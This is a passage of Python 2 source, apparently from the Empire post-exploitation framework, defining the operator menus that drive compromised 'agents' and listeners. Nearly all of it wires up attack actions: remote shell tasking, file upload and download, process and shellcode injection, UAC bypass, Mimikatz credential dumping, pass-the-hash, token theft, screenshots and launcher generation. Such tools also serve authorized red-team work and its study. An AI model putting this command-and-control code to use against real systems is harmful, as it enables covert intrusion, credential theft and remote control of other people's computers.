    def complete_sleep(self, text, line, begidx, endidx):
        "Tab-complete a sleep command"

        return self.complete_clear(text, line, begidx, endidx)

    def complete_lostlimit(self, text, line, begidx, endidx):
        "Tab-complete a lostlimit command"

        return self.complete_clear(text, line, begidx, endidx)

    def complete_killdate(self, text, line, begidx, endidx):
        "Tab-complete a killdate command"

        return self.complete_clear(text, line, begidx, endidx)

    def complete_workinghours(self, text, line, begidx, endidx):
        "Tab-complete a workinghours command"

        return self.complete_clear(text, line, begidx, endidx)

    def complete_usemodule(self, text, line, begidx, endidx):
        "Tab-complete an Empire PowerShell module path"
        return self.mainMenu.complete_usemodule(text, line, begidx, endidx)

    def complete_usestager(self, text, line, begidx, endidx):
        "Tab-complete an Empire stager module path."
        return self.mainMenu.complete_usestager(text, line, begidx, endidx)

    def complete_creds(self, text, line, begidx, endidx):
        "Tab-complete 'creds' commands."
        return self.mainMenu.complete_creds(text, line, begidx, endidx)

class AgentMenu(cmd.Cmd):
    """
    The main class used by Empire to drive an individual 'agent' menu.
    """
    def __init__(self, mainMenu, sessionID):

        cmd.Cmd.__init__(self)

        self.mainMenu = mainMenu

        self.sessionID = sessionID

        self.doc_header = 'Agent Commands'

        # try to resolve the sessionID to a name
        name = self.mainMenu.agents.get_agent_name(sessionID)

        # set the text prompt
        self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '

        # agent commands that have opsec-safe alises in the agent code
        self.agentCommands = ["ls", "dir", "rm", "del", "cp", "copy", "pwd", "cat", "cd", "mkdir", "rmdir", "mv", "move", "ipconfig", "ifconfig", "route", "reboot", "restart", "shutdown", "ps", "tasklist", "getpid", "whoami", "getuid", "hostname"]

        # listen for messages from this specific agent
        dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)

        # display any results from the database that were stored
        # while we weren't interacting with the agent
        results = self.mainMenu.agents.get_agent_results(self.sessionID)
        if results:
            print "\n" + results.rstrip('\r\n')

    # def preloop(self):
    #     traceback.print_stack()

    def handle_agent_event(self, signal, sender):
        """
        Handle agent event signals.
        """

        if "[!] Agent" in signal and "exiting" in signal:
            pass

        name = self.mainMenu.agents.get_agent_name(self.sessionID)

        if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal):
            # display any results returned by this agent that are returned
            # while we are interacting with it
            results = self.mainMenu.agents.get_agent_results(self.sessionID)
            if results:
                print "\n" + results

        elif "[+] Part of file" in signal and "saved" in signal:
            if (str(self.sessionID) in signal) or (str(name) in signal):
                print helpers.color(signal)

    # print a nicely formatted help menu
    #   stolen/adapted from recon-ng
    def print_topics(self, header, commands, cmdlen, maxcol):
        if commands:
            self.stdout.write("%s\n" % str(header))
            if self.ruler:
                self.stdout.write("%s\n" % str(self.ruler * len(header)))
            for command in commands:
                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
            self.stdout.write("\n")

    def emptyline(self):
        pass

    def default(self, line):
        "Default handler"

        line = line.strip()
        parts = line.split(" ")

        if len(parts) > 0:
            # check if we got an agent command
            if parts[0] in self.agentCommands:
                shellcmd = " ".join(parts)
                # task the agent with this shell command
                self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", shellcmd)
                # update the agent log
                msg = "Tasked agent to run command " + line
                self.mainMenu.agents.save_agent_log(self.sessionID, msg)
            else:
                print helpers.color("[!] Command not recognized.")
                print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")

    def do_back(self, line):
        "Go back a menu."
        return True

    def do_agents(self, line):
        "Jump to the Agents menu."
        raise NavAgents()

    def do_listeners(self, line):
        "Jump to the listeners menu."
        raise NavListeners()

    def do_main(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_help(self, *args):
        "Displays the help menu or syntax for particular commands."

        if args[0].lower() == "agentcmds":
            print "\n" + helpers.color("[*] Available opsec-safe agent commands:\n")
            print "     " + messages.wrap_columns(", ".join(self.agentCommands), " ", width1=50, width2=10, indent=5) + "\n"
        else:
            cmd.Cmd.do_help(self, *args)

    def do_list(self, line):
        "Lists all active agents (or listeners)."

        if line.lower().startswith("listeners"):
            self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
        elif line.lower().startswith("agents"):
            self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
        else:
            print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")

    def do_rename(self, line):
        "Rename the agent."

        parts = line.strip().split(" ")
        oldname = self.mainMenu.agents.get_agent_name(self.sessionID)

        # name sure we get a new name to rename this agent
        if len(parts) == 1:
            # replace the old name with the new name
            result = self.mainMenu.agents.rename_agent(oldname, parts[0])
            if result:
                self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
        else:
            print helpers.color("[!] Please enter a new name for the agent")

    def do_info(self, line):
        "Display information about this agent"

        # get the agent name, if applicable
        agent = self.mainMenu.agents.get_agent(self.sessionID)
        messages.display_agent(agent)

    def do_exit(self, line):
        "Task agent to exit."

        try:
            choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
            if choice.lower() != "" and choice.lower()[0] == "y":

                self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_EXIT")
                # update the agent log
                self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
                return True

        except KeyboardInterrupt:
            print ""

    def do_clear(self, line):
        "Clear out agent tasking."
        self.mainMenu.agents.clear_agent_tasks(self.sessionID)

    def do_jobs(self, line):
        "Return jobs or kill a running job."

        parts = line.split(" ")

        if len(parts) == 1:
            if parts[0] == '':
                self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_GETJOBS")
                # update the agent log
                self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
            else:
                print helpers.color("[!] Please use form 'jobs kill JOB_ID'")
        elif len(parts) == 2:
            jobID = parts[1].strip()
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_STOPJOB", jobID)
            # update the agent log
            self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))

    def do_sleep(self, line):
        "Task an agent to 'sleep interval [jitter]'"

        parts = line.strip().split(" ")

        if len(parts) > 0 and parts[0] != "":
            delay = parts[0]
            jitter = 0.0
            if len(parts) == 2:
                jitter = parts[1]

            # update this agent's information in the database
            self.mainMenu.agents.set_agent_field("delay", delay, self.sessionID)
            self.mainMenu.agents.set_agent_field("jitter", jitter, self.sessionID)

            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + " " + str(jitter))
            # update the agent log
            msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_lostlimit(self, line):
        "Task an agent to change the limit on lost agent detection"

        parts = line.strip().split(" ")
        if len(parts) > 0 and parts[0] != "":
            lostLimit = parts[0]

        # update this agent's information in the database
        self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID)
        self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
        # update the agent log
        msg = "Tasked agent to change lost limit " + str(lostLimit)
        self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_kill(self, line):
        "Task an agent to kill a particular process name or ID."

        parts = line.strip().split(" ")
        process = parts[0]

        if process == "":
            print helpers.color("[!] Please enter a process name or ID.")
        else:
            # if we were passed a process ID
            if process.isdigit():
                command = "Stop-Process " + str(process) + " -Force"
            else:
                # otherwise assume we were passed a process name
                # so grab all processes by this name and kill them
                command = "Get-Process " + str(process) + " | %{Stop-Process $_.Id -Force}"

            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", command)

            # update the agent log
            msg = "Tasked agent to kill process: " + str(process)
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_killdate(self, line):
        "Get or set an agent's killdate (01/01/2016)."

        parts = line.strip().split(" ")
        date = parts[0]

        if date == "":
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Get-KillDate")
            self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get KillDate")

        else:
            # update this agent's information in the database
            self.mainMenu.agents.set_agent_field("kill_date", date, self.sessionID)

            # task the agent
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-KillDate " + str(date))

            # update the agent log
            msg = "Tasked agent to set killdate to " + str(date)
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_workinghours(self, line):
        "Get or set an agent's working hours (9:00-17:00)."

        parts = line.strip().split(" ")
        hours = parts[0]

        if hours == "":
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Get-WorkingHours")
            self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")

        else:
            hours = hours.replace(",", "-")
            # update this agent's information in the database
            self.mainMenu.agents.set_agent_field("working_hours", hours, self.sessionID)

            # task the agent
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours))

            # update the agent log
            msg = "Tasked agent to set working hours to " + str(hours)
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_shell(self, line):
        "Task an agent to use a shell command."

        line = line.strip()

        if line != "":
            # task the agent with this shell command
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "shell " + str(line))
            # update the agent log
            msg = "Tasked agent to run shell command " + line
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_sysinfo(self, line):
        "Task an agent to get system information."

        # task the agent with this shell command
        self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SYSINFO")
        # update the agent log
        self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")

    def do_download(self, line):
        "Task an agent to download a file."

        line = line.strip()

        if line != "":
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_DOWNLOAD", line)
            # update the agent log
            msg = "Tasked agent to download " + line
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_upload(self, line):
        "Task an agent to upload a file."

        # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
        # absolute paths accepted
        parts = line.strip().split(" ")
        uploadname = ""

        if len(parts) > 0 and parts[0] != "":
            if len(parts) == 1:
                # if we're uploading the file with its original name
                uploadname = os.path.basename(parts[0])
            else:
                # if we're uploading the file as a different name
                uploadname = parts[1].strip()

            if parts[0] != "" and os.path.exists(parts[0]):
                # read in the file and base64 encode it for transport
                open_file = open(parts[0], 'r')
                file_data = open_file.read()
                open_file.close()

                # update the agent log with the filename and MD5
                msg = "Tasked agent to upload %s : %s" % (parts[0], hashlib.md5(file_data).hexdigest())
                self.mainMenu.agents.save_agent_log(self.sessionID, msg)

                # upload packets -> "filename | script data"
                file_data = helpers.encode_base64(file_data)
                data = uploadname + "|" + file_data
                self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_UPLOAD", data)
            else:
                print helpers.color("[!] Please enter a valid file path to upload")

    def do_scriptimport(self, line):
        "Imports a PowerShell script and keeps it in memory in the agent."

        path = line.strip()

        if path != "" and os.path.exists(path):
            open_file = open(path, 'r')
            script_data = open_file.read()
            open_file.close()

            # strip out comments and blank lines from the imported script
            script_data = helpers.strip_powershell_comments(script_data)

            # task the agent to important the script
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SCRIPT_IMPORT", script_data)

            # update the agent log with the filename and MD5
            msg = "Tasked agent to import %s : %s" % (path, hashlib.md5(script_data).hexdigest())
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

            # extract the functions from the script so we can tab-complete them
            functions = helpers.parse_powershell_script(script_data)

            # set this agent's tab-completable functions
            self.mainMenu.agents.set_agent_functions(self.sessionID, functions)

        else:
            print helpers.color("[!] Please enter a valid script path")

    def do_scriptcmd(self, line):
        "Execute a function in the currently imported PowerShell script."

        command = line.strip()

        if command != "":
            self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SCRIPT_COMMAND", command)
            msg = "[*] Tasked agent %s to run %s" % (self.sessionID, command)
            self.mainMenu.agents.save_agent_log(self.sessionID, msg)

    def do_usemodule(self, line):
        "Use an Empire PowerShell module."

        module = line.strip()

        if module not in self.mainMenu.modules.modules:
            print helpers.color("[!] Error: invalid module")
        else:
            module_menu = ModuleMenu(self.mainMenu, line, agent=self.sessionID)
            module_menu.cmdloop()

    def do_searchmodule(self, line):
        "Search Empire module names/descriptions."

        search_term = line.strip()

        if search_term.strip() == "":
            print helpers.color("[!] Please enter a search term.")
        else:
            self.mainMenu.modules.search_modules(search_term)

    def do_updateprofile(self, line):
        "Update an agent connection profile."

        # profile format:
        #   TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2...

        profile = line.strip().strip()

        if profile != "":
            # load up a profile from a file if a path was passed
            if os.path.exists(profile):
                open_file = open(profile, 'r')
                profile = open_file.readlines()
                open_file.close()

                # strip out profile comments and blank lines
                profile = [l for l in profile if not l.startswith("#" and l.strip() != "")]
                profile = profile[0]

            if not profile.strip().startswith("\"/"):
                print helpers.color("[!] Task URIs in profiles must start with / and be enclosed in quotes!")
            else:
                updatecmd = "Update-Profile " + profile

                # task the agent to update their profile
                self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", updatecmd)

                # update the agent's profile in the database
                self.mainMenu.agents.update_agent_profile(self.sessionID, profile)

                # print helpers.color("[*] Tasked agent "+self.sessionID+" to run " + updatecmd)
                # update the agent log
                msg = "Tasked agent to update profile " + profile
                self.mainMenu.agents.save_agent_log(self.sessionID, msg)

        else:
            print helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\"")

    def do_psinject(self, line):
        "Inject a launcher into a remote process. Ex. psinject <listener> <pid>"

        # get the info for the psinject module
        if line:
            listenerID = line.split(" ")[0].strip()
            pid = ''

            if len(line.split(" ")) == 2:
                pid = line.split(" ")[1].strip()

            if self.mainMenu.modules.modules["management/psinject"]:

                if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):

                    module = self.mainMenu.modules.modules["management/psinject"]
                    module.options['Listener']['Value'] = listenerID
                    module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

                    if pid != '':
                        module.options['ProcId']['Value'] = pid

                    module_menu = ModuleMenu(self.mainMenu, "management/psinject")
                    module_menu.cmdloop()

                else:
                    print helpers.color("[!] Please enter <listenerName> <pid>")

            else:
                print helpers.color("[!] management/psinject module not loaded")

        else:
            print helpers.color("[!] Injection requires you to specify listener")

    def do_injectshellcode(self, line):
        "Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid>"

        # get the info for the inject module
        if line:
            listenerID = line.split(" ")[0].strip()
            pid = ''

            if len(line.split(" ")) == 2:
                pid = line.split(" ")[1].strip()

            if self.mainMenu.modules.modules["code_execution/invoke_shellcode"]:

                if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):

                    module = self.mainMenu.modules.modules["code_execution/invoke_shellcode"]
                    module.options['Listener']['Value'] = listenerID
                    module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

                    if pid != '':
                        module.options['ProcessID']['Value'] = pid

                    module_menu = ModuleMenu(self.mainMenu, "code_execution/invoke_shellcode")
                    module_menu.cmdloop()

                else:
                    print helpers.color("[!] Please enter <listenerName> <pid>")

            else:
                print helpers.color("[!] code_execution/invoke_shellcode module not loaded")

        else:
            print helpers.color("[!] Injection requires you to specify listener")

    def do_sc(self, line):
        "Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]"

        # get the info for the psinject module
        if len(line.strip()) > 0:
            # JPEG compression ratio
            try:
                screenshot_ratio = str(int(line.strip()))
            except Exception:
                print helpers.color("[*] JPEG Ratio incorrect. Has been set to 80.")
                screenshot_ratio = "80"
        else:
            screenshot_ratio = ""

        if self.mainMenu.modules.modules["collection/screenshot"]:
            module = self.mainMenu.modules.modules["collection/screenshot"]
            module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)
            module.options['Ratio']['Value'] = screenshot_ratio

            # execute the screenshot module
            module_menu = ModuleMenu(self.mainMenu, "collection/screenshot")
            module_menu.do_execute("")

        else:
            print helpers.color("[!] collection/screenshot module not loaded")

    def do_spawn(self, line):
        "Spawns a new Empire agent for the given listener name. Ex. spawn <listener>"

        # get the info for the spawn module
        if line:
            listenerID = line.split(" ")[0].strip()

            if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):

                # ensure the inject module is loaded
                if self.mainMenu.modules.modules["management/spawn"]:
                    module = self.mainMenu.modules.modules["management/spawn"]

                    module.options['Listener']['Value'] = listenerID
                    module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

                    # jump to the spawn module
                    module_menu = ModuleMenu(self.mainMenu, "management/spawn")
                    module_menu.cmdloop()

                else:
                    print helpers.color("[!] management/spawn module not loaded")

            else:
                print helpers.color("[!] Please enter a valid listener name or ID.")

        else:
            print helpers.color("[!] Please specify a listener name or ID.")

    def do_bypassuac(self, line):
        "Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn <listener>"

        # get the info for the bypassuac module
        if line:
            listenerID = line.split(" ")[0].strip()

            if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):

                # ensure the inject module is loaded
                if self.mainMenu.modules.modules["privesc/bypassuac"]:
                    module = self.mainMenu.modules.modules["privesc/bypassuac"]

                    module.options['Listener']['Value'] = listenerID
                    module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

                    # jump to the spawn module
                    module_menu = ModuleMenu(self.mainMenu, "privesc/bypassuac")
                    module_menu.do_execute("")

                else:
                    print helpers.color("[!] privesc/bypassuac module not loaded")

            else:
                print helpers.color("[!] Please enter a valid listener name or ID.")

        else:
            print helpers.color("[!] Please specify a listener name or ID.")

    def do_mimikatz(self, line):
        "Runs Invoke-Mimikatz on the client."

        # ensure the credentials/mimiktaz/logonpasswords module is loaded
        if self.mainMenu.modules.modules["credentials/mimikatz/logonpasswords"]:
            module = self.mainMenu.modules.modules["credentials/mimikatz/logonpasswords"]

            module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

            # execute the Mimikatz module
            module_menu = ModuleMenu(self.mainMenu, "credentials/mimikatz/logonpasswords")
            module_menu.do_execute("")

    def do_pth(self, line):
        "Executes PTH for a CredID through Mimikatz."

        credID = line.strip()

        if credID == "":
            print helpers.color("[!] Please specify a <CredID>.")
            return

        if self.mainMenu.modules.modules["credentials/mimikatz/pth"]:
            # reload the module to reset the default values
            module = self.mainMenu.modules.reload_module("credentials/mimikatz/pth")

            module = self.mainMenu.modules.modules["credentials/mimikatz/pth"]

            # set mimikt/pth to use the given CredID
            module.options['CredID']['Value'] = credID

            # set the agent ID
            module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

            # execute the mimikatz/pth module
            module_menu = ModuleMenu(self.mainMenu, "credentials/mimikatz/pth")
            module_menu.do_execute("")

    def do_steal_token(self, line):
        "Uses credentials/tokens to impersonate a token for a given process ID."

        processID = line.strip()

        if processID == "":
            print helpers.color("[!] Please specify a process ID.")
            return

        if self.mainMenu.modules.modules["credentials/tokens"]:
            # reload the module to reset the default values
            module = self.mainMenu.modules.reload_module("credentials/tokens")

            module = self.mainMenu.modules.modules["credentials/tokens"]

            # set credentials/token to impersonate the given process ID token
            module.options['ImpersonateUser']['Value'] = "True"
            module.options['ProcessID']['Value'] = processID

            # set the agent ID
            module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

            # execute the token module
            module_menu = ModuleMenu(self.mainMenu, "credentials/tokens")
            module_menu.do_execute("")

            # run a sysinfo to update
            self.do_sysinfo(line)

    def do_revtoself(self, line):
        "Uses credentials/tokens to revert token privileges."

        if self.mainMenu.modules.modules["credentials/tokens"]:
            # reload the module to reset the default values
            module = self.mainMenu.modules.reload_module("credentials/tokens")

            module = self.mainMenu.modules.modules["credentials/tokens"]

            # set credentials/token to revert to self
            module.options['RevToSelf']['Value'] = "True"

            # set the agent ID
            module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID)

            # execute the token module
            module_menu = ModuleMenu(self.mainMenu, "credentials/tokens")
            module_menu.do_execute("")

            # run a sysinfo to update
            self.do_sysinfo(line)

    def do_creds(self, line):
        "Display/return credentials from the database."
        self.mainMenu.do_creds(line)

    def complete_psinject(self, text, line, begidx, endidx):
        "Tab-complete psinject option values."

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in self.mainMenu.listeners.get_listener_names() if s.startswith(mline)]

    def complete_injectshellcode(self, text, line, begidx, endidx):
        "Tab-complete injectshellcode option values."

        return self.complete_psinject(text, line, begidx, endidx)

    def complete_spawn(self, text, line, begidx, endidx):
        "Tab-complete spawn option values."

        return self.complete_psinject(text, line, begidx, endidx)

    def complete_bypassuac(self, text, line, begidx, endidx):
        "Tab-complete bypassuac option values."

        return self.complete_psinject(text, line, begidx, endidx)

    def complete_jobs(self, text, line, begidx, endidx):
        "Tab-complete jobs management options."

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in ["kill"] if s.startswith(mline)]

    def complete_scriptimport(self, text, line, begidx, endidx):
        "Tab-complete a PowerShell script path"

        return helpers.complete_path(text, line)

    def complete_scriptcmd(self, text, line, begidx, endidx):
        "Tab-complete a script cmd set."

        functions = self.mainMenu.agents.get_agent_functions(self.sessionID)

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in functions if s.startswith(mline)]

    def complete_usemodule(self, text, line, begidx, endidx):
        "Tab-complete an Empire PowerShell module path"
        return self.mainMenu.complete_usemodule(text, line, begidx, endidx)

    def complete_upload(self, text, line, begidx, endidx):
        "Tab-complete an upload file path"
        return helpers.complete_path(text, line)

    def complete_updateprofile(self, text, line, begidx, endidx):
        "Tab-complete an updateprofile path"
        return helpers.complete_path(text, line)

    def complete_creds(self, text, line, begidx, endidx):
        "Tab-complete 'creds' commands."
        return self.mainMenu.complete_creds(text, line, begidx, endidx)

class ListenerMenu(cmd.Cmd):
    """
    The main class used by Empire to drive the 'listener' menu.
    """
    def __init__(self, mainMenu):
        cmd.Cmd.__init__(self)
        self.doc_header = 'Listener Commands'

        self.mainMenu = mainMenu

        # get all the the stock listener options
        self.options = self.mainMenu.listeners.get_listener_options()

        # set the prompt text
        self.prompt = '(Empire: ' + helpers.color("listeners", color="blue") + ') > '

        # display all active listeners on menu startup
        messages.display_listeners(self.mainMenu.listeners.get_listeners())

    # def preloop(self):
    #     traceback.print_stack()

    # print a nicely formatted help menu
    # stolen/adapted from recon-ng
    def print_topics(self, header, commands, cmdlen, maxcol):
        if commands:
            self.stdout.write("%s\n" % str(header))
            if self.ruler:
                self.stdout.write("%s\n" % str(self.ruler * len(header)))
            for command in commands:
                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
            self.stdout.write("\n")

    def emptyline(self):
        pass

    def do_list(self, line):
        "List all active listeners (or agents)."

        if line.lower().startswith("agents"):
            self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
        elif line.lower().startswith("listeners"):
            self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
        else:
            self.mainMenu.do_list("listeners " + str(line))

    def do_back(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_agents(self, line):
        "Jump to the Agents menu."
        raise NavAgents()

    def do_main(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_exit(self, line):
        "Exit Empire."
        raise KeyboardInterrupt

    def do_set(self, line):
        "Set a listener option."
        parts = line.split(" ")
        if len(parts) > 1:

            if parts[0].lower() == "defaultprofile" and os.path.exists(parts[1]):
                try:
                    open_file = open(parts[1], 'r')
                    profile_data_raw = open_file.readlines()
                    open_file.close()

                    profile_data = [l for l in profile_data_raw if not l.startswith("#" and l.strip() != "")]
                    profile_data = profile_data[0].strip("\"")

                    self.mainMenu.listeners.set_listener_option(parts[0], profile_data)

                except Exception:
                    print helpers.color("[!] Error opening profile file %s" % (parts[1]))
            else:
                self.mainMenu.listeners.set_listener_option(parts[0], " ".join(parts[1:]))
        else:
            print helpers.color("[!] Please enter a value to set for the option")

    def do_unset(self, line):
        "Unset a listener option."
        option = line.strip()
        self.mainMenu.listeners.set_listener_option(option, '')

    def do_info(self, line):
        "Display listener options."

        parts = line.split(" ")

        if parts[0] != '':
            if self.mainMenu.listeners.is_listener_valid(parts[0]):
                listener = self.mainMenu.listeners.get_listener(parts[0])
                messages.display_listener_database(listener)
            else:
                print helpers.color("[!] Please enter a valid listener name or ID")
        else:
            messages.display_listener(self.mainMenu.listeners.options)

    def do_options(self, line):
        "Display listener options."

        parts = line.split(" ")

        if parts[0] != '':
            if self.mainMenu.listeners.is_listener_valid(parts[0]):
                listener = self.mainMenu.listeners.get_listener(parts[0])
                messages.display_listener_database(listener)
            else:
                print helpers.color("[!] Please enter a valid listener name or ID")
        else:
            messages.display_listener(self.mainMenu.listeners.options)

    def do_kill(self, line):
        "Kill one or all active listeners."

        listenerID = line.strip()

        if listenerID.lower() == "all":
            try:
                choice = raw_input(helpers.color("[>] Kill all listeners? [y/N] ", "red"))
                if choice.lower() != "" and choice.lower()[0] == "y":
                    self.mainMenu.listeners.killall()
            except KeyboardInterrupt:
                print ""

        else:
            if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):
                self.mainMenu.listeners.shutdown_listener(listenerID)
                self.mainMenu.listeners.delete_listener(listenerID)
            else:
                print helpers.color("[!] Invalid listener name or ID.")

    def do_execute(self, line):
        "Execute a listener with the currently specified options."
        (success, message) = self.mainMenu.listeners.add_listener_from_config()
        if success:
            print helpers.color("[*] Listener '%s' successfully started." % (message))
        else:
            print helpers.color("[!] %s" % (message))

    def do_run(self, line):
        "Execute a listener with the currently specified options."
        self.do_execute(line)

    def do_usestager(self, line):
        "Use an Empire stager."

        parts = line.split(" ")

        if parts[0] not in self.mainMenu.stagers.stagers:
            print helpers.color("[!] Error: invalid stager module")

        elif len(parts) == 1:
            stager_menu = StagerMenu(self.mainMenu, parts[0])
            stager_menu.cmdloop()
        elif len(parts) == 2:
            listener = parts[1]
            if not self.mainMenu.listeners.is_listener_valid(listener):
                print helpers.color("[!] Please enter a valid listener name or ID")
            else:
                self.mainMenu.stagers.set_stager_option('Listener', listener)
                stager_menu = StagerMenu(self.mainMenu, parts[0])
                stager_menu.cmdloop()
        else:
            print helpers.color("[!] Error in ListenerMenu's do_userstager()")

    def do_launcher(self, line):
        "Generate an initial launcher for a listener."

        nameid = self.mainMenu.listeners.get_listener_id(line.strip())
        if nameid:
            listenerID = nameid
        else:
            listenerID = line.strip()

        if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID):
            # set the listener value for the launcher
            stager = self.mainMenu.stagers.stagers["launcher"]
            stager.options['Listener']['Value'] = listenerID
            stager.options['Base64']['Value'] = "True"

            # and generate the code
            print stager.generate()
        else:
            print helpers.color("[!] Please enter a valid listenerID")

    def do_interact(self, line):
        "Interact with a particular agent."

        name = line.strip()

        if name != "" and self.mainMenu.agents.is_agent_present(name):
            # resolve the passed name to a sessionID
            sessionID = self.mainMenu.agents.get_agent_id(name)

            agent_menu = AgentMenu(self.mainMenu, sessionID)
            agent_menu.cmdloop()
        else:
            print helpers.color("[!] Please enter a valid agent name")

    def complete_set(self, text, line, begidx, endidx):
        "Tab-complete listener option values."

        if line.split(" ")[1].lower() == "host":
            return ["http://" + helpers.lhost()]

        elif line.split(" ")[1].lower() == "redirecttarget":
            # if we're tab-completing a listener name, return all the names
            listenerNames = self.mainMenu.listeners.get_listener_names()

            end_line = " ".join(line.split(" ")[1:])
            mline = end_line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in listenerNames if s.startswith(mline)]

        elif line.split(" ")[1].lower() == "type":
            # if we're tab-completing the listener type
            listenerTypes = ["native", "pivot", "hop", "foreign", "meter"]
            end_line = " ".join(line.split(" ")[1:])
            mline = end_line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in listenerTypes if s.startswith(mline)]

        elif line.split(" ")[1].lower() == "certpath":
            return helpers.complete_path(text, line, arg=True)

        elif line.split(" ")[1].lower() == "defaultprofile":
            return helpers.complete_path(text, line, arg=True)

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in self.options if s.startswith(mline)]

    def complete_unset(self, text, line, begidx, endidx):
        "Tab-complete listener option values."

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in self.options if s.startswith(mline)]

    def complete_usestager(self, text, line, begidx, endidx):
        "Tab-complete an Empire stager module path."
        return self.mainMenu.complete_usestager(text, line, begidx, endidx)

    def complete_kill(self, text, line, begidx, endidx):
        "Tab-complete listener names"

        # get all the listener names
        names = self.mainMenu.listeners.get_listener_names() + ["all"]

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

    def complete_launcher(self, text, line, begidx, endidx):
        "Tab-complete listener names/IDs"

        # get all the listener names
        names = self.mainMenu.listeners.get_listener_names()

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

    def complete_info(self, text, line, begidx, endidx):
        "Tab-complete listener names/IDs"
        return self.complete_launcher(text, line, begidx, endidx)

    def complete_options(self, text, line, begidx, endidx):
        "Tab-complete listener names/IDs"
        return self.complete_launcher(text, line, begidx, endidx)

    def complete_interact(self, text, line, begidx, endidx):
        "Tab-complete an interact command"

        names = self.mainMenu.agents.get_agent_names()

